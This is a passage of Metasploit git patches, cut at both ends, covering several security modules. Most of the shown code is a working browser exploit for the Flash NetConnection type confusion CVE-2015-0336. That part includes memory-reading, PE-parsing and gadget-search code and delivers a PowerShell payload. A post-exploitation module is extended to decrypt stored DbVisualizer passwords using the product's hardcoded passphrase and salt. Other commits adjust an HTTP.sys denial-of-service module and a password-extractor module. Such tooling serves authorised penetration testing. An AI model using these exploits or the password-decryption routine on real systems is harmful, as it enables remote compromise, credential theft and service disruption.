-1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2015-0336/PE.as b/external/source/exploits/CVE-2015-0336/PE.as new file mode 100644 index 0000000000..a80ade9321 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/PE.as @@ -0,0 +1,63 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16)) + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj new file mode 100755 index 0000000000..579960bd86 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj @@ -0,0 +1,60 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as new file mode 100755 index 0000000000..8dbada53c8 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as @@ -0,0 +1,18 @@ +// Build with FlashDevelop, its command line is: +// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library" +class Main +{ + public static function main(swfRoot:MovieClip):Void + { + var _loc2_ = _global.ASnative(2100, 0x956c2000); + var _loc3_ = new Object(); + _loc2_.__proto__ = _loc3_; + _global.ASnative(2100, 200)(_loc3_); //Netconnection constructor + _global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID + } + + public function Main() + { + } + +} \ No newline at end of file diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb new file mode 100644 index 0000000000..04360a9b08 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player NetConnection Type Confusion', + 'Description' => %q{ + This module exploits a type confusion vulnerability in the NetConnection class on + Adobe Flash Player. When using a correct memory layout this vulnerability allows + to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like + vectors, and finally accomplish remote code execution. This module has been tested + successfully on: + * Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305 + * Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Adobe Flash 11.2.202.404 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit + 'Unknown', # Exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-0336'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], + ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], + ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], + ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'unix'], + 'Arch' => [ARCH_X86, ARCH_CMD], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.442') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 12 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + @trigger = create_trigger + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + + if target.name =~ /Windows/ + target_payload = get_payload(cli, target_info) + psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) + b64_payload = Rex::Text.encode_base64(psh_payload) + platform_id = 'win' + elsif target.name =~ /Linux/ + target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD)) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'linux' + end + + trigger_hex_stream = @trigger.unpack('H*')[0] + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + + def create_trigger + if target.name =~ /Linux/ + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger_linux.swf') + else + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') + end + + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end diff --git a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb index 9d5fb19f54..3bcb6a7130 100644 --- a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb @@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion') def initialize(info={}) super(update_info(info, From 1ab49397a24f25e4df5ce5f0fdf386c70269df7c Mon Sep 17 00:00:00 2001 From: root Date: Thu, 28 May 2015 10:21:00 +0500 Subject: [PATCH 40/55] Decrypt encrypted passwords --- modules/post/multi/gather/dbvis_enum.rb | 135 +++++++++++++++--------- 1 file changed, 85 insertions(+), 50 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index b44eee8ffb..3f8d7d3198 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -5,6 +5,8 @@ require 'msf/core' require 'msf/core/auxiliary/report' +require 'openssl' +require 'digest/md5' class Metasploit3 < Msf::Post @@ -17,7 +19,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Multi Gather DbVisualizer Connections Settings', 'Description' => %q{ DbVisualizer stores the user database configuration in dbvis.xml. - This module retrieves the connections settings from this file. + This module retrieves the connections settings from this file and decrypts the encrypted passwords. }, 'License' => MSF_LICENSE, 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 @@ -28,14 +30,13 @@ class Metasploit3 < Msf::Post def run - oldversion = false case session.platform when /linux/ - user = session.shell_command("whoami").chomp + user = session.shell_command('whoami').chomp print_status("Current user is #{user}") - if (user =~ /root/) + if user =~ /root/ user_base = "/root/" else user_base = "/home/#{user}/" @@ -50,11 +51,10 @@ class Metasploit3 < Msf::Post dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml" end - unless file?(dbvis_file) # File not found, we next try with the old config path print_status("File not found: #{dbvis_file}") - print_status("This could be an older version of dbvis, trying old path") + print_status('This could be an older version of dbvis, trying old path') case session.platform when /linux/ dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" @@ -68,7 +68,6 @@ class Metasploit3 < Msf::Post oldversion = true end - print_status("Reading: #{dbvis_file}") print_line() raw_xml = "" @@ -89,20 +88,14 @@ class Metasploit3 < Msf::Post end if db_table.rows.empty? - print_status("No database settings found") + print_status('No database settings found') else - print_line("\n") + print_line print_line(db_table.to_s) - print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection -sql and have fun !") + print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection -sql and have fun!') print_line() - # store found databases - p = store_loot( - "dbvis.databases", - "text/csv", - session, - db_table.to_csv, - "dbvis_databases.txt", - "dbvis databases") + # Store found databases in loot + p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases') print_good("Databases settings stored in: #{p.to_s}") end @@ -111,12 +104,11 @@ class Metasploit3 < Msf::Post print_good "dbvis.xml saved to #{p.to_s}" end - # New config file parse function def parse_new_config_file(raw_xml) db_table = Rex::Ui::Text::Table.new( - 'Header' => "Dbvis Databases", + 'Header' => "DbVisualizer Databases", 'Indent' => 2, 'Columns' => [ @@ -127,17 +119,18 @@ class Metasploit3 < Msf::Post "Database", "Namespace", "Userid", + "Password" ]) dbs = [] db = {} dbfound = false - versionFound = false + version_found = false # fetch config file raw_xml.each_line do |line| - if versionFound == false - vesrionFound = find_version(line) + if version_found == false + version_found = find_version(line) end if line =~ /([\S+\s+]+)<\/Alias>/i) + if line =~ /([\S+\s+]+)<\/Alias>/i db[:Alias] = $1 end # get the type - if (line =~ /([\S+\s+]+)<\/Type>/i) + if line =~ /([\S+\s+]+)<\/Type>/i db[:Type] = $1 end # get the user - if (line =~ /([\S+\s+]+)<\/Userid>/i) + if line =~ /([\S+\s+]+)<\/Userid>/i db[:Userid] = $1 end + # get user password + if line =~ /([\S+\s+]+)<\/Password>/i + enc_password = $1 + db[:Password] = decrypt_password(enc_password) + end + # get the server - if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Server] = $1 end # get the port - if (line =~ /([\S+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Port] = $1 end # get the database - if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Database] = $1 end # get the Namespace - if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Namespace] = $1 end end @@ -196,40 +195,40 @@ class Metasploit3 < Msf::Post # Fill the tab and report eligible servers dbs.each do |db| if ::Rex::Socket.is_ipv4?(db[:Server].to_s) - print_good("Reporting #{db[:Server]} ") + print_good("Reporting #{db[:Server]}") report_host(:host => db[:Server]); end - db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]] + db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password]] end return db_table end - # New config file parse function def parse_old_config_file(raw_xml) db_table = Rex::Ui::Text::Table.new( - 'Header' => "Dbvis Databases", + 'Header' => 'DbVisualizer Databases', 'Indent' => 2, 'Columns' => [ - "Alias", - "Type", - "Url", - "Userid", + 'Alias', + 'Type', + 'URL', + 'UserID', + 'Password' ]) dbs = [] db = {} dbfound = false - versionFound = false + version_found = false # fetch config file raw_xml.each_line do |line| - if versionFound == false - vesrionFound = find_version(line) + if version_found == false + vesrion_found = find_version(line) end if line =~ /([\S+\s+]+)<\/Alias>/i) + if line =~ /([\S+\s+]+)<\/Alias>/i db[:Alias] = $1 end # get the type - if (line =~ /([\S+\s+]+)<\/Type>/i) + if line =~ /([\S+\s+]+)<\/Type>/i db[:Type] = $1 end # get the user - if (line =~ /([\S+\s+]+)<\/Userid>/i) + if line =~ /([\S+\s+]+)<\/Userid>/i db[:Userid] = $1 end - # get the user - if (line =~ /([\S+\s+]+)<\/Url>/i) + #get the user password + if line =~ /([\S+\s+]+)<\/Password>/i + enc_password = $1 + db[:Password] = decrypt_password(enc_password) + end + + # get the server URL + if line =~ /(\S+)<\/Url>/i db[:Url] = $1 end + end end @@ -277,14 +283,43 @@ class Metasploit3 < Msf::Post return db_table end - def find_version(tag) found = false - if (tag =~ /([\S+\s+]+)<\/Version>/i) - print_good("DbVisualizer version : #{$1}") + if tag =~ /([\S+\s+]+)<\/Version>/i found = true + print_good("DbVisualizer version: #{$1}") end - return found + found + end + + def decrypt_password(enc_password) + enc_password = Rex::Text.decode_base64(enc_password) + dk, iv = get_derived_key + des = OpenSSL::Cipher.new('DES-CBC') + des.key = dk + des.iv = iv + + des.update(enc_password) + end + + def get_derived_key + key = passphrase + salt + iteration_count.times do + key = Digest::MD5.digest(key) + end + return key[0,8], key[8,8] + end + + def salt + [-114,18,57,-100,7,114,111,90].pack('C*') + end + + def passphrase + 'qinda' + end + + def iteration_count + 10 end end From 2756c7375e436b7da1007cd2d77b74daade80863 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 28 May 2015 10:58:36 +0500 Subject: [PATCH 41/55] Add datastore options --- modules/post/multi/gather/dbvis_enum.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 3f8d7d3198..74bea5de13 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -26,6 +26,11 @@ class Metasploit3 < Msf::Post 'Platform' => %w{ linux win }, 'SessionTypes' => [ 'meterpreter', 'shell'] )) + register_options( + [ + OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']), + OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10]) + ], super.class) end def run @@ -315,11 +320,11 @@ class Metasploit3 < Msf::Post end def passphrase - 'qinda' + datastore['PASSPHRASE'] || 'qinda' end def iteration_count - 10 + datastore['ITERATION_COUNT'] || 10 end end From 447c4ee7df613eef5f56eb4e95757d0366e1d9bc Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 28 May 2015 09:30:04 +0100 Subject: [PATCH 42/55] =?UTF-8?q?Allows=20the=20target=C3=A8uri=20to=20be?= =?UTF-8?q?=20shared=20between=20the=20#check=20and=20#dos?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 7aa1d270e6..354995434d 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -64,6 +64,11 @@ class Metasploit3 < Msf::Auxiliary end end + # Needed to allow the vulnerable uri to be shared between the #check and #dos + def target_uri + @target_uri ||= super + end + def get_file_size(ip) @file_size ||= lambda { file_size = -1 From 6d01d7f986cd0719558d44a0d4406b1c3b45c858 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 28 May 2015 09:32:05 +0100 Subject: [PATCH 43/55] Uses peer instead of ip:port across all the module --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 354995434d..55265f2602 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary if check_host(ip) == Exploit::CheckCode::Vulnerable dos_host(ip) else - print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.") + print_status("#{peer} - Probably not vulnerable, will not dos it.") end end @@ -76,17 +76,17 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw('uri' => uri) unless res - vprint_error("#{ip}:#{rport} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return file_size end if res.code == 404 - vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.") + vprint_error("#{peer} - You got a 404. URI must be a valid resource.") return file_size end file_size = res.body.length - vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes") + vprint_status("#{peer} - File length: #{file_size} bytes") return file_size }.call @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches end - print_status("#{ip}:#{rport} - DOS request sent") + print_status("#{peer} - DOS request sent") end def potential_static_files_uris From a74c3372c0dda4b66819e7a4da3fe4a76924594e Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 28 May 2015 15:46:51 +0100 Subject: [PATCH 44/55] Uses vprint instead of print in #check_host --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 55265f2602..5cd2e640cd 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary vmessage = "#{peer} - Checking #{uri} [#{res.code}]" if res && res.body.include?('Requested Range Not Satisfiable') - print_status("#{peer} - #{uri} is vulnerable") + vprint_status("#{vmessage} - Vulnerable") target_uri.path = uri # Needed for the DoS attack From 818dbf58f0839052baa25a8720ea66043e728461 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 28 May 2015 14:37:39 -0500 Subject: [PATCH 45/55] Adding an OSVDB number to the Netgear module --- modules/auxiliary/admin/http/netgear_soap_password_extractor.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index f97ae71ee2..9158af9b7e 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'BID', '72640' ], + [ 'OSVDB', '118316' ], [ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ] ], 'Author' => From f9f35db7f33ee235e0dd51949a2ec736db633c60 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 28 May 2015 14:52:03 -0500 Subject: [PATCH 46/55] Update description --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 5cd2e640cd..b69b8872f1 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -19,10 +19,6 @@ class Metasploit3 < Msf::Auxiliary This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code execution. This module will try to cause a denial-of-service. - - Please note that a valid file resource must be supplied for the TARGETURI option. - By default, IIS provides 'welcome.png' and 'iis-85.png' as resources. - Others may also exist, depending on configuration options. }, 'Author' => [ From 2a260f0689f1d35e8f5243eaf6678c89df448e57 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 28 May 2015 15:18:05 -0500 Subject: [PATCH 47/55] Update description --- .../multi/browser/adobe_flash_net_connection_confusion.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 04360a9b08..8412136cf0 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -21,7 +21,8 @@ class Metasploit3 < Msf::Exploit::Remote vectors, and finally accomplish remote code execution. This module has been tested successfully on: * Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305 - * Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Adobe Flash 11.2.202.404 + * Linux Mint "Rebecca" (32 bits), and Ubuntu 14.04.2 LTS with Firefox 33.0 and + Adobe Flash 11.2.202.404. }, 'License' => MSF_LICENSE, 'Author' => From 80c3022dc14d3bd48085d8891a3f13f3d4359115 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 28 May 2015 15:39:14 -0500 Subject: [PATCH 48/55] Deprecate cold_fusion_version. Please use coldfusion_version. auxiliary/scanner/http/cold_fusion_version is deprecated. Please use auxiliary/scanner/http/coldfusion_version instead. --- .../scanner/http/cold_fusion_version.rb | 3 + .../scanner/http/coldfusion_version.rb | 127 ++++++++++++++++++ 2 files changed, 130 insertions(+) create mode 100644 modules/auxiliary/scanner/http/coldfusion_version.rb diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index b27972d810..ef320c9026 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -10,6 +10,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 6, 28), 'auxiliary/scanner/http/coldfusion_version') def initialize super( diff --git a/modules/auxiliary/scanner/http/coldfusion_version.rb b/modules/auxiliary/scanner/http/coldfusion_version.rb new file mode 100644 index 0000000000..b27972d810 --- /dev/null +++ b/modules/auxiliary/scanner/http/coldfusion_version.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'ColdFusion Version Scanner', + 'Description' => %q{ + This module attempts identify various flavors of ColdFusion up to version 10 + as well as the underlying OS. + }, + 'Author' => + [ + 'nebulus', # Original + 'sinn3r' # Fingerprint() patch for Cold Fusion 10 + ], + 'License' => MSF_LICENSE + ) + end + + def fingerprint(response) + + if(response.headers.has_key?('Server') ) + if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) + os = "Windows (#{response.headers['Server']})" + elsif(response.headers['Server'] =~ /Apache\//) + os = "Unix (#{response.headers['Server']})" + else + os = response.headers['Server'] + end + end + + return nil if response.body.length < 100 + + title = "Not Found" + if(response.body =~ /(.+)<\/title\/?>/im) + title = $1 + title.gsub!(/\s/, '') + end + + return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) + + out = nil + + if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url, + 'method' => 'GET', + }) + + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code.to_i == 200) + out = fingerprint(res) + return if not out + if(out =~ /^Unknown/) + print_status("#{ip} " << out) + return + else + print_good("#{ip}: " << out) + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'tcp', + :ntype => 'cfversion', + :data => out + ) + end + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + end + + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + +end From 3ac5088a9ac1c55e7089ac70e87cc7a4de617163 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 29 May 2015 10:33:55 +0500 Subject: [PATCH 49/55] Add decryption.final for proper padding --- modules/post/multi/gather/dbvis_enum.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 74bea5de13..a274db370e 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' require 'openssl' require 'digest/md5' +require 'base64' class Metasploit3 < Msf::Post @@ -204,7 +205,7 @@ class Metasploit3 < Msf::Post report_host(:host => db[:Server]); end - db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password]] + db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password] ] end return db_table end @@ -283,7 +284,7 @@ class Metasploit3 < Msf::Post report_host(:host => $1.to_s) end end - db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ] + db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid], db[:Password] ] end return db_table end @@ -301,10 +302,10 @@ class Metasploit3 < Msf::Post enc_password = Rex::Text.decode_base64(enc_password) dk, iv = get_derived_key des = OpenSSL::Cipher.new('DES-CBC') + des.decrypt des.key = dk des.iv = iv - - des.update(enc_password) + password = des.update(enc_password) + des.final end def get_derived_key From 101f12b9d20388a6eac6ef674d7710d9b648e2c4 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 29 May 2015 10:38:06 +0500 Subject: [PATCH 50/55] Remove base64 require --- 